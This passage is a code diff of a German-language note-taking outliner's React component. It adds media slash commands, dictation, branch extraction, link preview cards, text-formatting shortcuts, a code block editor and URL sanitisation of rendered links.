</p>
|
||||
{!targetId && (
|
||||
<button type="button" onClick={() => setTarget(null)} className="text-accent hover:underline min-h-[44px] sm:min-h-0">
|
||||
Anderes Ziel wählen
|
||||
</button>
|
||||
)}
|
||||
</div>
|
||||
) : (
|
||||
<div className="space-y-2">
|
||||
<p className="text-xs text-muted">In welche Notiz soll {title(source)} eingefügt werden?</p>
|
||||
<div className="relative">
|
||||
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
|
||||
<input
|
||||
autoFocus
|
||||
value={query}
|
||||
onChange={(e) => setQuery(e.target.value)}
|
||||
placeholder="Notiz suchen…"
|
||||
className="w-full h-11 sm:h-9 pl-8 pr-2 input-field text-sm"
|
||||
/>
|
||||
</div>
|
||||
<ul className="max-h-64 overflow-y-auto divide-y divide-border rounded-card border border-border">
|
||||
{candidates.map((d) => (
|
||||
<li key={d.id}>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => setTarget(d.id)}
|
||||
className="w-full min-h-[44px] sm:min-h-0 px-3 py-2 flex items-center gap-2 text-left text-xs text-main hover:bg-panel-elevated"
|
||||
>
|
||||
<span className="shrink-0">{d.icon || '📝'}</span>
|
||||
<span className="truncate flex-1">{d.title || 'Unbenannte Notiz'}</span>
|
||||
{d.folderPath && <span className="text-[10px] text-faint truncate max-w-[40%]">{d.folderPath}</span>}
|
||||
</button>
|
||||
</li>
|
||||
))}
|
||||
{candidates.length === 0 && <li className="px-3 py-3 text-xs text-faint">Keine passende Notiz</li>}
|
||||
</ul>
|
||||
</div>
|
||||
)}
|
||||
{error && <p className="text-xs text-status-err">{error}</p>}
|
||||
</FormSheet>
|
||||
);
|
||||
};
|
||||
@@ -20,28 +20,51 @@ import {
|
||||
FileText,
|
||||
Lock,
|
||||
AlertTriangle,
|
||||
Image as ImageIcon,
|
||||
Mic,
|
||||
AudioLines,
|
||||
FileOutput,
|
||||
} from 'lucide-react';
|
||||
import { DocumentBlock, BlockType } from '../../lib/types';
|
||||
import { LinkModal } from './LinkModal';
|
||||
import { CodeBlockEditor, resolveLanguageId, isUnambiguousLanguageShortcut } from './CodeBlockEditor';
|
||||
import { ImagePicker } from './ImagePicker';
|
||||
import { ImageBlock } from './ImageBlock';
|
||||
import { AudioRecorderPicker } from './AudioRecorderPicker';
|
||||
import { AudioBlock } from './AudioBlock';
|
||||
import { DictationBlock } from './DictationBlock';
|
||||
import { currentVoiceConfig } from '../../lib/voice';
|
||||
import { LinkPreviewCard } from './LinkPreviewCard';
|
||||
import { linkCardUrl, hidePreviewContent, useLinkPreviewsEnabled } from '../../lib/linkPreview';
|
||||
import { mediaContent, parseMediaContent } from '../../lib/media';
|
||||
import { renderInlineMarkdown } from '../../lib/markdown';
|
||||
import { api } from '../../lib/api';
|
||||
import { safeHref } from '../../lib/safeUrl';
|
||||
|
||||
export interface SlashCommand {
|
||||
type: BlockType | 'link';
|
||||
type: BlockType | 'link' | 'dictation' | 'extract';
|
||||
label: string;
|
||||
desc: string;
|
||||
icon: React.ReactNode;
|
||||
/** Only offered in an empty bullet; the bullet turns into an inline picker first */
|
||||
media?: boolean;
|
||||
/** Further names that find the command (e.g. German ones) */
|
||||
aliases?: string[];
|
||||
}
|
||||
|
||||
const SLASH_COMMANDS: SlashCommand[] = [
|
||||
{ type: 'todo', label: '/todo', desc: 'Aufgabe mit Checkbox', icon: <ListTodo className="w-3.5 h-3.5" /> },
|
||||
{ type: 'link', label: '/link', desc: 'Notiz verknüpfen oder Web-Link einfügen', icon: <LinkIcon className="w-3.5 h-3.5" /> },
|
||||
{ type: 'link', label: '/link', desc: 'Notiz oder Weblink', icon: <LinkIcon className="w-3.5 h-3.5" /> },
|
||||
{ type: 'h1', label: '/h1', desc: 'Große Überschrift', icon: <Heading1 className="w-3.5 h-3.5" /> },
|
||||
{ type: 'h2', label: '/h2', desc: 'Abschnitts-Überschrift', icon: <Heading2 className="w-3.5 h-3.5" /> },
|
||||
{ type: 'h3', label: '/h3', desc: 'Unterabschnitt', icon: <Heading3 className="w-3.5 h-3.5" /> },
|
||||
{ type: 'code', label: '/code', desc: 'Code-Block mit Syntax', icon: <Code className="w-3.5 h-3.5" /> },
|
||||
{ type: 'callout', label: '/callout', desc: 'Hinweisbox', icon: <MessageSquare className="w-3.5 h-3.5" /> },
|
||||
{ type: 'divider', label: '/divider', desc: 'Trennlinie', icon: <Minus className="w-3.5 h-3.5" /> },
|
||||
{ type: 'extract', label: '/extract', desc: 'Ast als eigene Notiz', icon: <FileOutput className="w-3.5 h-3.5" />, aliases: ['notiz', 'auslagern'] },
|
||||
{ type: 'image', label: '/image', desc: 'Bilder hochladen oder verlinken', icon: <ImageIcon className="w-3.5 h-3.5" />, media: true, aliases: ['bild', 'foto'] },
|
||||
{ type: 'audio', label: '/audio', desc: 'Sprachnotiz oder Audiodatei', icon: <Mic className="w-3.5 h-3.5" />, media: true, aliases: ['sprachnotiz'] },
|
||||
{ type: 'dictation', label: '/diktat', desc: 'Sprechen statt tippen', icon: <AudioLines className="w-3.5 h-3.5" />, media: true, aliases: ['dictate'] },
|
||||
];
|
||||
|
||||
export interface OutlinerBlockProps {
|
||||
@@ -55,6 +78,8 @@ export interface OutlinerBlockProps {
|
||||
canEdit: boolean;
|
||||
levelOffset?: number;
|
||||
onZoomBlock?: (blockId: string) => void;
|
||||
/** Turns this bullet and its children into a note of its own */
|
||||
onExtractBlock?: (blockId: string) => void;
|
||||
onUpdateBlock: (updated: DocumentBlock, immediate?: boolean) => void;
|
||||
onCreateBlockBelow: (afterBlockId: string, newContent?: string) => void;
|
||||
onDeleteBlock: (blockId: string, deleteSubtree?: boolean) => void;
|
||||
@@ -96,12 +121,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
docId,
|
||||
block,
|
||||
index,
|
||||
isLast,
|
||||
hasChildren,
|
||||
isFocused,
|
||||
canEdit,
|
||||
levelOffset = 0,
|
||||
onZoomBlock,
|
||||
onExtractBlock,
|
||||
onUpdateBlock,
|
||||
onCreateBlockBelow,
|
||||
onDeleteBlock,
|
||||
@@ -132,7 +157,16 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
// A block someone else is editing can still get the cursor (read-only), e.g. to press Enter at its end
|
||||
const canFocus = canEdit || (!!lockedBy && !!canAppendBelow);
|
||||
const [slashSearch, setSlashSearch] = useState<string | null>(null);
|
||||
// Inline picker an empty bullet turns into after /image (local only, nothing synced until done)
|
||||
const [mediaPicker, setMediaPicker] = useState<'image' | 'audio' | 'dictation' | null>(null);
|
||||
// Card above bullets whose entire content is a plain https address (lib/linkPreview.ts)
|
||||
const previewsOn = useLinkPreviewsEnabled();
|
||||
const previewUrl =
|
||||
previewsOn && !mediaPicker && ['bullet', 'text', 'paragraph', 'todo', 'h1', 'h2', 'h3'].includes(block.type || 'bullet')
|
||||
? linkCardUrl(localContent)
|
||||
: null;
|
||||
const [slashIndex, setSlashIndex] = useState(0);
|
||||
const slashItemRefs = useRef<(HTMLButtonElement | null)[]>([]);
|
||||
const [showLinkModal, setShowLinkModal] = useState<boolean>(false);
|
||||
const [showTodoMenu, setShowTodoMenu] = useState<boolean>(false);
|
||||
|
||||
@@ -287,6 +321,20 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
adjustHeight();
|
||||
}, [localContent, block.type, block.level, activeFocus, adjustHeight]);
|
||||
|
||||
// Turning the block into another type (slash menu, ``` or markdown shortcut) can swap the text field
|
||||
// for a new one (e.g. the code editor); the cursor must stay in the block so typing goes on there
|
||||
const refocusAfterTypeChangeRef = useRef(false);
|
||||
useLayoutEffect(() => {
|
||||
if (!refocusAfterTypeChangeRef.current) return;
|
||||
refocusAfterTypeChangeRef.current = false;
|
||||
const ta = textareaRef.current;
|
||||
if (ta && document.activeElement !== ta) {
|
||||
ta.focus();
|
||||
const end = ta.value.length;
|
||||
ta.setSelectionRange(end, end);
|
||||
}
|
||||
}, [block.type]);
|
||||
|
||||
useEffect(() => {
|
||||
window.addEventListener('resize', adjustHeight);
|
||||
// The field can be measured while hidden (phone layout shows the editor only after selecting a note);
|
||||
@@ -312,44 +360,146 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
const filteredSlashCommands = useMemo(() => {
|
||||
if (slashSearch === null) return [];
|
||||
const q = slashSearch.toLowerCase();
|
||||
const cmdQuery = q.startsWith('code ') ? 'code' : q;
|
||||
// Media only in an otherwise empty bullet
|
||||
const emptyBullet = localContent.replace(/(^|\s)\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i, '').trim() === '';
|
||||
return SLASH_COMMANDS.filter(
|
||||
(c) => c.label.toLowerCase().includes(q) || c.desc.toLowerCase().includes(q)
|
||||
(c) =>
|
||||
(!c.media || emptyBullet) &&
|
||||
(c.type !== 'dictation' || ['server', 'browser'].includes(currentVoiceConfig().mode)) &&
|
||||
// The bullet's text becomes the title of the new note
|
||||
(c.type !== 'extract' || (!emptyBullet && !!onExtractBlock)) &&
|
||||
(c.label.toLowerCase().includes(cmdQuery) ||
|
||||
c.desc.toLowerCase().includes(cmdQuery) ||
|
||||
(c.aliases || []).some((a) => a.includes(cmdQuery)))
|
||||
);
|
||||
}, [slashSearch]);
|
||||
}, [slashSearch, localContent, onExtractBlock]);
|
||||
|
||||
useEffect(() => {
|
||||
if (slashSearch === null) return;
|
||||
slashItemRefs.current[slashIndex]?.scrollIntoView?.({ block: 'nearest', inline: 'nearest' });
|
||||
}, [slashIndex, slashSearch]);
|
||||
|
||||
const applySlashCommand = (cmd: SlashCommand) => {
|
||||
setSlashSearch(null);
|
||||
const clean = localContent.replace(/\/([a-z0-9]*)$/i, '').trim();
|
||||
const codeLangMatch = localContent.match(/(^|\s)\/code\s+([a-z0-9_+#.-]+)$/i);
|
||||
const clean = localContent.replace(/(^|\s)\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i, '').trim();
|
||||
if (cmd.type === 'link') {
|
||||
setLocalContent(clean);
|
||||
localContentRef.current = clean;
|
||||
setShowLinkModal(true);
|
||||
return;
|
||||
}
|
||||
if (cmd.type === 'extract') {
|
||||
setLocalContent(clean);
|
||||
localContentRef.current = clean;
|
||||
flushDebounce(clean);
|
||||
onExtractBlock?.(block.id);
|
||||
return;
|
||||
}
|
||||
if (cmd.media) {
|
||||
// The typed "/image" must not stay in the synced text; the block type changes only after the upload
|
||||
setLocalContent('');
|
||||
localContentRef.current = '';
|
||||
flushDebounce('');
|
||||
setMediaPicker(cmd.type as 'image' | 'audio' | 'dictation');
|
||||
return;
|
||||
}
|
||||
const langOverride =
|
||||
cmd.type === 'code' && codeLangMatch
|
||||
? resolveLanguageId(codeLangMatch[2]) || codeLangMatch[2].toLowerCase()
|
||||
: undefined;
|
||||
setLocalContent(clean);
|
||||
localContentRef.current = clean;
|
||||
if (cmd.type !== block.type) refocusAfterTypeChangeRef.current = true;
|
||||
flushDebounce(clean, {
|
||||
type: cmd.type,
|
||||
type: cmd.type as BlockType, // media commands returned above
|
||||
...(langOverride !== undefined ? { lang: langOverride } : {}),
|
||||
checked: cmd.type === 'todo' ? Boolean(block.checked) : false,
|
||||
});
|
||||
};
|
||||
|
||||
const handleInsertLink = (linkMarkdown: string) => {
|
||||
setShowLinkModal(false);
|
||||
if (localContent.trim() === '') {
|
||||
const webMatch = linkMarkdown.match(/^\[.*\]\((https?:\/\/[^\s)]+)\)$/);
|
||||
if (webMatch) {
|
||||
const bareUrl = webMatch[1];
|
||||
setLocalContent(bareUrl);
|
||||
localContentRef.current = bareUrl;
|
||||
flushDebounce(bareUrl);
|
||||
return;
|
||||
}
|
||||
}
|
||||
const cursor = textareaRef.current?.selectionStart ?? localContent.length;
|
||||
const before = localContent.slice(0, cursor);
|
||||
const after = localContent.slice(cursor);
|
||||
const newContent = `${before}${before && !before.endsWith(' ') ? ' ' : ''}${linkMarkdown}${after && !after.startsWith(' ') ? ' ' : ''}${after}`.trim();
|
||||
setLocalContent(newContent);
|
||||
localContentRef.current = newContent;
|
||||
flushDebounce(newContent);
|
||||
};
|
||||
|
||||
const applyFormattingChange = (newVal: string, selStart: number, selEnd: number) => {
|
||||
setLocalContent(newVal);
|
||||
localContentRef.current = newVal;
|
||||
if (debounceTimerRef.current !== null) {
|
||||
window.clearTimeout(debounceTimerRef.current);
|
||||
}
|
||||
debounceTimerRef.current = window.setTimeout(() => {
|
||||
debounceTimerRef.current = null;
|
||||
onUpdateBlockRef.current({
|
||||
...latestBlockRef.current,
|
||||
content: newVal,
|
||||
});
|
||||
}, 150);
|
||||
|
||||
const ta = textareaRef.current;
|
||||
if (ta) {
|
||||
ta.value = newVal;
|
||||
ta.setSelectionRange(selStart, selEnd);
|
||||
}
|
||||
setTimeout(() => {
|
||||
if (textareaRef.current) {
|
||||
textareaRef.current.setSelectionRange(selStart, selEnd);
|
||||
adjustHeight();
|
||||
}
|
||||
}, 0);
|
||||
};
|
||||
|
||||
const handleContentChange = (e: React.ChangeEvent<HTMLTextAreaElement>) => {
|
||||
if (!canEdit) return;
|
||||
let val = e.target.value;
|
||||
let typeOverride: BlockType | undefined;
|
||||
let checkedOverride: boolean | undefined;
|
||||
let langOverride: string | undefined;
|
||||
|
||||
if (block.type !== 'code') {
|
||||
// Quick markdown shortcuts
|
||||
if (val.startsWith('[] ') || val.startsWith('[ ] ')) {
|
||||
const fenceSpaceMatch = val.match(/^```([a-z0-9_+#.-]*)\s([\s\S]*)$/i);
|
||||
const fenceDirectMatch = val.match(/^```([a-z0-9_+#.-]+)$/i);
|
||||
const slashCodeSpaceMatch = val.match(/^\/code\s+([a-z0-9_+#.-]+)\s([\s\S]*)$/i);
|
||||
const slashCodeDirectMatch = val.match(/^\/code\s+([a-z0-9_+#.-]+)$/i);
|
||||
|
||||
if (fenceSpaceMatch) {
|
||||
const rawLang = fenceSpaceMatch[1];
|
||||
val = fenceSpaceMatch[2];
|
||||
typeOverride = 'code';
|
||||
langOverride = rawLang ? resolveLanguageId(rawLang) || rawLang.toLowerCase() : '';
|
||||
} else if (fenceDirectMatch && isUnambiguousLanguageShortcut(fenceDirectMatch[1])) {
|
||||
val = '';
|
||||
typeOverride = 'code';
|
||||
langOverride = resolveLanguageId(fenceDirectMatch[1]) || fenceDirectMatch[1].toLowerCase();
|
||||
} else if (slashCodeSpaceMatch) {
|
||||
const rawLang = slashCodeSpaceMatch[1];
|
||||
val = slashCodeSpaceMatch[2];
|
||||
typeOverride = 'code';
|
||||
langOverride = resolveLanguageId(rawLang) || rawLang.toLowerCase();
|
||||
} else if (slashCodeDirectMatch && isUnambiguousLanguageShortcut(slashCodeDirectMatch[1])) {
|
||||
val = '';
|
||||
typeOverride = 'code';
|
||||
langOverride = resolveLanguageId(slashCodeDirectMatch[1]) || slashCodeDirectMatch[1].toLowerCase();
|
||||
} else if (val.startsWith('[] ') || val.startsWith('[ ] ')) {
|
||||
val = val.replace(/^\[\s?\]\s/, '');
|
||||
typeOverride = 'todo';
|
||||
checkedOverride = false;
|
||||
@@ -369,23 +519,29 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
}
|
||||
|
||||
// Check for slash command invocation
|
||||
const slashMatch = val.match(/\/([a-z0-9]*)$/i);
|
||||
const slashMatch = !typeOverride ? val.match(/(^|\s)\/(code\s+[a-z0-9_+#.-]*|[a-z0-9]*)$/i) : null;
|
||||
if (slashMatch) {
|
||||
setSlashSearch(slashMatch[1]);
|
||||
setSlashSearch(slashMatch[2]);
|
||||
setSlashIndex(0);
|
||||
} else {
|
||||
setSlashSearch(null);
|
||||
}
|
||||
} else {
|
||||
setSlashSearch(null);
|
||||
}
|
||||
|
||||
setLocalContent(val);
|
||||
localContentRef.current = val;
|
||||
|
||||
if (debounceTimerRef.current !== null) {
|
||||
window.clearTimeout(debounceTimerRef.current);
|
||||
}
|
||||
|
||||
if (typeOverride) {
|
||||
refocusAfterTypeChangeRef.current = true;
|
||||
flushDebounce(val, {
|
||||
type: typeOverride,
|
||||
...(langOverride !== undefined ? { lang: langOverride } : {}),
|
||||
checked: checkedOverride ?? latestBlockRef.current.checked,
|
||||
});
|
||||
return;
|
||||
@@ -487,8 +643,116 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
}
|
||||
if (!canEdit) return;
|
||||
|
||||
// Formatting shortcuts (Ctrl/Cmd+B, Ctrl/Cmd+I, Ctrl/Cmd+K) - not in code blocks
|
||||
const isMod = (e.ctrlKey || e.metaKey) && !e.altKey;
|
||||
if (isMod && canEdit && block.type !== 'code' && ['b', 'i', 'k'].includes(e.key.toLowerCase())) {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
|
||||
const ta = textareaRef.current || e.currentTarget;
|
||||
const start = ta.selectionStart ?? 0;
|
||||
const end = ta.selectionEnd ?? 0;
|
||||
const text = ta.value;
|
||||
const hasSelection = start < end;
|
||||
|
||||
if (e.key.toLowerCase() === 'k') {
|
||||
if (!hasSelection) {
|
||||
setShowLinkModal(true);
|
||||
return;
|
||||
}
|
||||
const selected = text.slice(start, end);
|
||||
const placeholder = '…';
|
||||
const before = text.slice(0, start);
|
||||
const after = text.slice(end);
|
||||
const inserted = `[${selected}](${placeholder})`;
|
||||
const newVal = before + inserted + after;
|
||||
const selStart = start + 1 + selected.length + 2;
|
||||
const selEnd = selStart + placeholder.length;
|
||||
applyFormattingChange(newVal, selStart, selEnd);
|
||||
return;
|
||||
}
|
||||
|
||||
const isBold = e.key.toLowerCase() === 'b';
|
||||
const delim = isBold ? '**' : '*';
|
||||
|
||||
if (!hasSelection) {
|
||||
const pair = isBold ? '****' : '**';
|
||||
const newVal = text.slice(0, start) + pair + text.slice(start);
|
||||
const newPos = start + delim.length;
|
||||
applyFormattingChange(newVal, newPos, newPos);
|
||||
return;
|
||||
}
|
||||
|
||||
const selected = text.slice(start, end);
|
||||
|
||||
if (isBold) {
|
||||
const isOutside =
|
||||
start >= 2 &&
|
||||
end + 2 <= text.length &&
|
||||
text.slice(start - 2, start) === '**' &&
|
||||
text.slice(end, end + 2) === '**';
|
||||
|
||||
const isInside =
|
||||
selected.length >= 4 &&
|
||||
selected.startsWith('**') &&
|
||||
selected.endsWith('**');
|
||||
|
||||
if (isOutside) {
|
||||
const newVal = text.slice(0, start - 2) + selected + text.slice(end + 2);
|
||||
applyFormattingChange(newVal, start - 2, end - 2);
|
||||
return;
|
||||
}
|
||||
if (isInside) {
|
||||
const unwrapped = selected.slice(2, -2);
|
||||
const newVal = text.slice(0, start) + unwrapped + text.slice(end);
|
||||
applyFormattingChange(newVal, start, start + unwrapped.length);
|
||||
return;
|
||||
}
|
||||
|
||||
const newVal = text.slice(0, start) + '**' + selected + '**' + text.slice(end);
|
||||
applyFormattingChange(newVal, start + 2, end + 2);
|
||||
return;
|
||||
} else {
|
||||
const isOutside =
|
||||
start >= 1 &&
|
||||
end + 1 <= text.length &&
|
||||
text[start - 1] === '*' &&
|
||||
text[end] === '*' &&
|
||||
(start < 2 || text[start - 2] !== '*') &&
|
||||
(end + 1 >= text.length || text[end + 1] !== '*');
|
||||
|
||||
const isInside =
|
||||
selected.length >= 2 &&
|
||||
selected.startsWith('*') &&
|
||||
selected.endsWith('*') &&
|
||||
(!selected.startsWith('**') || !selected.endsWith('**') || selected.length < 4);
|
||||
|
||||
if (isOutside) {
|
||||
const newVal = text.slice(0, start - 1) + selected + text.slice(end + 1);
|
||||
applyFormattingChange(newVal, start - 1, end - 1);
|
||||
return;
|
||||
}
|
||||
if (isInside) {
|
||||
const unwrapped = selected.slice(1, -1);
|
||||
const newVal = text.slice(0, start) + unwrapped + text.slice(end);
|
||||
applyFormattingChange(newVal, start, start + unwrapped.length);
|
||||
return;
|
||||
}
|
||||
|
||||
const newVal = text.slice(0, start) + '*' + selected + '*' + text.slice(end);
|
||||
applyFormattingChange(newVal, start + 1, end + 1);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
// Slash command navigation
|
||||
if (slashSearch !== null && filteredSlashCommands.length > 0) {
|
||||
if (slashSearch !== null) {
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
setSlashSearch(null);
|
||||
return;
|
||||
}
|
||||
if (filteredSlashCommands.length > 0) {
|
||||
if (e.key === 'ArrowDown') {
|
||||
e.preventDefault();
|
||||
setSlashIndex((prev) => (prev + 1) % filteredSlashCommands.length);
|
||||
@@ -507,10 +771,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (e.key === 'Escape') {
|
||||
e.preventDefault();
|
||||
setSlashSearch(null);
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -525,13 +785,27 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
|
||||
// 2. Enter (without Shift) -> If block is completely empty:
|
||||
// - If level > minLevel, outdent (Shift+Tab behaviour)
|
||||
// - If already at minLevel and is the last block, do NOT create another empty block below
|
||||
// - Otherwise split paragraph at cursor and create new block below
|
||||
if (e.key === 'Enter' && !e.shiftKey && block.type !== 'code') {
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
setSlashSearch(null);
|
||||
|
||||
const fenceMatch = localContent.match(/^```([a-z0-9_+#.-]*)$/i);
|
||||
if (fenceMatch) {
|
||||
const rawLang = fenceMatch[1];
|
||||
const resolvedLang = rawLang ? resolveLanguageId(rawLang) || rawLang.toLowerCase() : '';
|
||||
setLocalContent('');
|
||||
localContentRef.current = '';
|
||||
refocusAfterTypeChangeRef.current = true;
|
||||
flushDebounce('', {
|
||||
type: 'code',
|
||||
lang: resolvedLang,
|
||||
checked: false,
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
const minLevel = levelOffset || 0;
|
||||
if (localContent === '') {
|
||||
if (Math.max(0, block.level || 0) > minLevel) {
|
||||
@@ -539,10 +813,6 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
onIndentBlockRef.current(block.id, -1);
|
||||
return;
|
||||
}
|
||||
if (isLast) {
|
||||
// Bereits auf oberster Ebene und der letzte Block: kein weiterer leerer Block
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
const start = e.currentTarget.selectionStart ?? localContent.length;
|
||||
@@ -644,12 +914,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
(t) =>
|
||||
(t.startsWith('[[') && t.endsWith(']]')) ||
|
||||
/^\[(.*?)\]\((https?:\/\/.*?)\)$/.test(t) ||
|
||||
/^https?:\/\//.test(t)
|
||||
(/^https?:\/\//.test(t) && t !== previewUrl)
|
||||
);
|
||||
|
||||
return (
|
||||
<div
|
||||
className={`group relative flex items-start gap-1 py-1 px-1.5 rounded-card transition-all duration-300 ${
|
||||
className={`group relative flex items-start gap-1 py-1 px-0.5 sm:px-1.5 rounded-card transition-all duration-300 ${
|
||||
isDragTarget
|
||||
? 'border-t-2 border-accent bg-accent/10'
|
||||
: isTargeted
|
||||
@@ -657,7 +927,10 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
: ''
|
||||
} ${block.conflictOf ? 'border-l-2 border-status-warn bg-status-warn/5' : ''}`}
|
||||
style={{
|
||||
paddingLeft: `${visualLevel * 22 + 4}px`,
|
||||
// Indent per level and room kept for text come from CSS (narrower on phones, see index.css);
|
||||
// deep rows get wider than the screen and the note scrolls sideways instead of squeezing them
|
||||
paddingLeft: `calc(var(--outline-indent) * ${visualLevel} + 4px)`,
|
||||
minWidth: `calc(var(--outline-indent) * ${visualLevel} + var(--outline-min-text))`,
|
||||
}}
|
||||
onDragOver={(e) => onDragOverBlock?.(e, index)}
|
||||
onDrop={() => onDropBlock?.(index)}
|
||||
@@ -743,37 +1016,116 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
|
||||
{/* Main Block Content */}
|
||||
<div className="flex-1 min-w-0 pr-1 relative min-h-[1.5rem]">
|
||||
{block.type === 'divider' ? (
|
||||
{previewUrl && (
|
||||
<LinkPreviewCard
|
||||
url={previewUrl}
|
||||
canEdit={canEdit}
|
||||
onHide={(title) => {
|
||||
const content = hidePreviewContent(localContent, previewUrl, title);
|
||||
setLocalContent(content);
|
||||
localContentRef.current = content;
|
||||
flushDebounce(content);
|
||||
}}
|
||||
/>
|
||||
)}
|
||||
{mediaPicker === 'image' ? (
|
||||
<ImagePicker
|
||||
docId={docId}
|
||||
onDone={(media) => {
|
||||
setMediaPicker(null);
|
||||
const content = mediaContent('image', media.id);
|
||||
setLocalContent(content);
|
||||
localContentRef.current = content;
|
||||
flushDebounce(content, { type: 'image' });
|
||||
}}
|
||||
onCancel={() => {
|
||||
setMediaPicker(null);
|
||||
requestAnimationFrame(() => textareaRef.current?.focus());
|
||||
}}
|
||||
/>
|
||||
) : mediaPicker === 'dictation' ? (
|
||||
<DictationBlock
|
||||
onDone={(text) => {
|
||||
setMediaPicker(null);
|
||||
setLocalContent(text);
|
||||
localContentRef.current = text;
|
||||
flushDebounce(text);
|
||||
requestAnimationFrame(() => {
|
||||
const ta = textareaRef.current;
|
||||
if (!ta) return;
|
||||
ta.focus();
|
||||
ta.setSelectionRange(ta.value.length, ta.value.length);
|
||||
});
|
||||
}}
|
||||
onCancel={() => {
|
||||
setMediaPicker(null);
|
||||
requestAnimationFrame(() => textareaRef.current?.focus());
|
||||
}}
|
||||
/>
|
||||
) : mediaPicker === 'audio' ? (
|
||||
<AudioRecorderPicker
|
||||
docId={docId}
|
||||
onDone={(media) => {
|
||||
setMediaPicker(null);
|
||||
const content = mediaContent('audio', media.id);
|
||||
setLocalContent(content);
|
||||
localContentRef.current = content;
|
||||
flushDebounce(content, { type: 'audio' });
|
||||
}}
|
||||
onCancel={() => {
|
||||
setMediaPicker(null);
|
||||
requestAnimationFrame(() => textareaRef.current?.focus());
|
||||
}}
|
||||
/>
|
||||
) : block.type === 'audio' ? (
|
||||
<AudioBlock
|
||||
content={localContent}
|
||||
canEdit={canEdit}
|
||||
onCaptionChange={(caption) => {
|
||||
const ref = parseMediaContent(localContent);
|
||||
if (!ref) return;
|
||||
const content = mediaContent('audio', ref.id, caption);
|
||||
setLocalContent(content);
|
||||
localContentRef.current = content;
|
||||
flushDebounce(content);
|
||||
}}
|
||||
/>
|
||||
) : block.type === 'image' ? (
|
||||
<ImageBlock
|
||||
content={localContent}
|
||||
canEdit={canEdit}
|
||||
onCaptionChange={(caption) => {
|
||||
const ref = parseMediaContent(localContent);
|
||||
if (!ref) return;
|
||||
const content = mediaContent('image', ref.id, caption);
|
||||
setLocalContent(content);
|
||||
localContentRef.current = content;
|
||||
flushDebounce(content);
|
||||
}}
|
||||
/>
|
||||
) : block.type === 'divider' ? (
|
||||
<div className="py-2">
|
||||
<hr className="border-t border-border" />
|
||||
</div>
|
||||
) : block.type === 'code' ? (
|
||||
<div className="bg-code border border-border rounded-btn p-2 my-0.5">
|
||||
<div className="text-[10px] text-faint font-mono uppercase pb-1 flex justify-between">
|
||||
<span>Code</span>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => flushDebounce(localContent, { type: 'bullet' })}
|
||||
className="hover:text-accent"
|
||||
>
|
||||
Als Text
|
||||
</button>
|
||||
</div>
|
||||
<textarea
|
||||
ref={(el) => {
|
||||
textareaRef.current = el;
|
||||
registerTextareaRef(block.id, el);
|
||||
<CodeBlockEditor
|
||||
block={block}
|
||||
content={localContent}
|
||||
canEdit={canEdit}
|
||||
textareaRef={textareaRef}
|
||||
registerTextareaRef={registerTextareaRef}
|
||||
onChangeContent={(newContent) => {
|
||||
setLocalContent(newContent);
|
||||
localContentRef.current = newContent;
|
||||
flushDebounce(newContent);
|
||||
}}
|
||||
rows={1}
|
||||
value={localContent}
|
||||
readOnly={!canEdit}
|
||||
onFocus={handleFocus}
|
||||
onBlur={handleBlur}
|
||||
onChange={handleContentChange}
|
||||
onKeyDown={handleKeyDown}
|
||||
className="w-full resize-none font-mono text-xs bg-transparent text-status-ok border-0 focus:outline-none focus:ring-0 leading-relaxed"
|
||||
onChangeLang={(lang) => flushDebounce(localContent, { lang })}
|
||||
onConvertToText={() => flushDebounce(localContent, { type: 'bullet' })}
|
||||
handleFocus={handleFocus}
|
||||
handleBlur={handleBlur}
|
||||
handleContentChange={handleContentChange}
|
||||
handleKeyDown={handleKeyDown}
|
||||
/>
|
||||
</div>
|
||||
) : block.type === 'callout' ? (
|
||||
<div className="bg-panel-elevated border-l-2 border-accent p-2 rounded-r-btn my-0.5">
|
||||
<textarea
|
||||
@@ -1001,9 +1353,9 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
);
|
||||
}
|
||||
const mdMatch = part.match(/^\[(.*?)\]\((https?:\/\/.*?)\)$/);
|
||||
if (mdMatch) {
|
||||
if (mdMatch && safeHref(mdMatch[2])) {
|
||||
const label = mdMatch[1];
|
||||
const url = mdMatch[2];
|
||||
const url = safeHref(mdMatch[2]) as string;
|
||||
return (
|
||||
<a
|
||||
key={idx}
|
||||
@@ -1018,11 +1370,12 @@ export const OutlinerBlock: React.FC<OutlinerBlockProps> = ({
|
||||
</a>
|
||||
);
|
||||
}
|
||||
if (/^https?:\/\//.test(part)) {
|
||||
// The preview card above already shows this address
|
||||
if (/^https?:\/\//.test(part) && safeHref(part) && part !== previewUrl) {
|
||||
return (
|
||||
<a
|
||||
key={idx}
|
||||
href={part}
|
||||
href={safeHref(part) as string}
|
||||
target="_blank"
|
||||
rel="noopener noreferrer"
|
||||
className="inline-flex items-center gap-0.5 px-1.5 py-0.5 text-[10px] font-medium text-status-ok bg-status-ok/10 hover:bg-status-ok/20 rounded-btn transition-colors"
|
||||
